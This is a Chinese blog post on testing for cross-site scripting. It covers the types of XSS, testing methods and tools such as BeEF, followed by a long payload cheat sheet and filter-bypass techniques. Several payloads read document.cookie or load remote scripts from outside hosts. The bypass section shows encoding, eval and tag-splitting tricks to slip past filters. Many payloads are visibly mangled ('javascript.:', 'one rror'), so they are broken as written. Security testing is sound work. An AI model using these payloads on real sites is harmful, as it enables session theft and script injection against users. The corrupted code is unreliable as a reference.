首页 > 其他分享 >XSS注入测试思路+通用语句

XSS注入测试思路+通用语句

时间:2023-12-30 23:34:18浏览次数:31  
标签:语句 XSS xss 标签 alert 过滤 测试

一、XSS分类

第一种:反射型

页面仅把用户输入直接回显在页面或源码中,需要诱使用户点击才能成功。

第二种:持久型

XSS 攻击代码会被存储在服务器中,由于用户可能会主动浏览被攻击页面,此种方法危害较大。

第三种:DOM 型( DOM Based XSS )

通过修改页面的 DOM 节点形成 XSS,严格来讲也可划为反射型 XSS。

二、如何测试XSS漏洞

 

方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

 方法二: 准备测试脚本

 在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)  

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 比如 burp xssvalidator  ,钓鱼利用平台:beef,xssPlatform

三、常用测试语句

<script>alert('hello,gaga!');</script> //经典语句,哈哈!

>"'><img src="javascript.:alert('XSS')">

>"'><script>alert('XSS')</script>

<table background='javascript.:alert(([code])'></table>

<object type=text/html data='javascript.:alert(([code]);'></object>

"+alert('XSS')+"

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

<script>alert('XSS')</script>

<img src="javascript:alert('XSS')">

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

<script>alert('Vulnerable')</script>

a.jsp/<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

<IMG SRC="javascript.:alert('XSS');">

<IMG src="/javascript.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"("XSS")>

<IMG SRC="jav	ascript.:alert('XSS');">

<IMG SRC="jav
ascript.:alert('XSS');">

<IMG SRC="jav
ascript.:alert('XSS');">

"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out

<IMG SRC=" javascript.:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript.:alert('XSS')">

<BODY onl oad=alert('XSS')>

<IMG DYNSRC="javascript.:alert('XSS')">

<IMG LOWSRC="javascript.:alert('XSS')">

<BGSOUND SRC="javascript.:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

<IMG SRC='vbscript.:msgbox("XSS")'>

<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript.:alert('XSS')">

<DIV STYLE="background-image: url(javascript.:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>

<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>

<BASE HREF="javascript.:alert('XSS');//">

getURL("javascript.:alert('XSS')")

a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

<XML SRC="javascript.:alert('XSS');">

"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

<IMG SRC="javascript.:alert('XSS')"

<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

四、常见绕过方法

1、大小写绕过

当网站仅过滤<script>或者<img>等标签,而没有考虑标签中的大小写并不影响浏览器的解析所致。如:

<sCript>alert("hey!")</scRipt>

<IMG SRC=JaVaScRiPt:alert('XSS')>

 

2、只过滤一个标签

例如:双写,让过滤完script标签后的语句中还有script标签

<sCri<script>pt>alert("hey!")</scRi</script>pt>

 

3、编码脚本代码绕过关键字过滤

当服务器对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,所以可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行。

例如alert(1)Unicode编码过后就是:

\u0061\u006c\u0065\u0072\u0074(1)

所以构建出来的攻击语句如下:

<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

 同理还可以使用诸如url编码、Ascii码、base64、十六进制、八进制绕过等。

 

4、主动闭合标签实现注入代码

如以下两个例子:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

";alert("I am coming again~");"

 

5、其他标签注入代码

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 
//当用户鼠标移动时即可运行代码

<div onm ouseover=‘do something here’>   
//当用户鼠标在这个块上面时即可运行,可以配合weight等参数将div覆盖页面

<img src='k.7' one rror='alert("hey!")'> 
//指定的图片地址不存在,即一定会发生错误,这时执行onerror里面的代码进行弹窗

 

6、字符拼接

<img src="x" one rror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">  //利用eval

<script>top["al"+"ert"](`xss`);</script>  //利用top

 

7、过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

 

8、过滤单引号、双引号

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号。

<img src="x" one rror=alert(`xss`);>

 

9、过滤url地址

1)编码绕过

2)html标签中用 // 可以代替 http://

<img src="x" one rror=document.location=`//www.baidu.com`>

3)使用\\

在 windows下 \ 本身就有特殊用途,是一个 path 的写法,所以 \\ 在 Windows 下是 file协议,在 linux 下才是当前域的协议。

  

 

标签:语句,XSS,xss,标签,alert,过滤,测试
From: https://www.cnblogs.com/xfbk/p/17936998

相关文章

  • 溢出类测试
    许多系统都有这样那样的安全漏洞(bugs其中某些是操作系统或应用软件本身具有的,这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏,除非你将网线拔掉还有一些漏洞是由于系统管理员配置错误引起的,如在网络文件系统中,将目录和文件以可写的方式调出,将未加shadow的用户密码文件以......
  • [软件测试] 第三部分 黑盒测试
    目录软件测试期末复习系列课件知识点整合:软件测试基础白盒测试黑盒测试PTA习题汇总:软件测试基础白盒测试-逻辑覆盖测试白盒测试-基本路径测试白盒测试-静态测试黑盒测试-等价类划分黑盒测试-边界值测试黑盒测试-场景法概念与定义黑盒测试:又称功能测试、数据......
  • 16.测试环境搭建
    被测系统AUT(ApplicationUnderTest)常见的被测系统类型UI:WebAppIOTService:RESTful:sprintbootwebservicerpc:dubbopbcode:SDKlib部署方法打包部署:apkappipajarwar脚本部署:自动化脚本与自动化平台容器部署:基于容器镜像DockerK8S打包......
  • 【xss实战】BurpSuite-XssValidator插件 -xss自动化测试
    所需软件:1、burpsuite2、xssvalidator     源码:https://github.com/nVisium/xssValidator(按照编译指导编译)     burpsuite_BApp:https://portswigger.net/bappstore/bapps/download/98275a25394a417c9480f58740c1d9813、phantomjs(用于执行xssvalidator插件中的xss......
  • 14.分层测试策略
    分层测试策略的初衷质量保证 需求分析测试标准确立测试用例review界面覆盖率接口覆盖率代码覆盖率分层测试策略的初衷效率提升 人工测试:招人加人培训,无论横向扩容还是纵向扩容,成本都很大自动化测试:自动化测试自动遍历测试录制回放测试尽早测试尽......
  • [软件测试] 第二部分 白盒测试
    白盒测试概念与定义白盒测试:侧重于系统或部件内部机制的测试,类型分为分支测试(判定节点测试)、路径测试、语句测试。控制流分析(基于程序结构):控制流分析是一类用于分析程序控制流结构的静态分析技术,目的在于生成程序的控制流图,在编译器设计程序分析、程序理解等领域都有重要......
  • [软件测试] 第一部分 软件测试基础
    第一部分软件测试基础概念与定义软件危机:软件危机是指落后的软件生产方式无法满足迅速增长的计算机软件需求,从而导致软件开发与维护过程中出现一系列严重问题的现象。软件测试(IEEE1983):软件测试是使用人工和自动手段来运行或测试某个系统的过程,目的在于检验被测软件系统是......
  • Python+自动化测试生成HTML报告
    ......
  • [软件测试] 07 黑盒 场景法 习题
    提示:篇幅较长,可以使用Ctrl+F,在页面中快速查询关键词(或者你要找的题目)并跳转到指定的位置。关键词:黑盒测试,基于场景的测试,场景法,基本流,备选流判断题场景法以事件流为核心,其中事件流又包括基本流和备选流。答案:正确基本流可以有一条或多条。答案:错误基本流能单独构......
  • 二进制、位运算和掩码运算、如何取某几位掩码,小白鼠测试示例
    1.二进制二进制是一种基于两个数字0和1的数制系统。它可以表示两种状态,即开和关。所有输入电脑的任何信息最终都要转化为二进制。目前通用的是ASCII码。最基本的单位为bit。在计算机科学中,二进制是最常用的数制系统,因为计算机内部的所有数据都是以二进制形式存储和处理的。在二......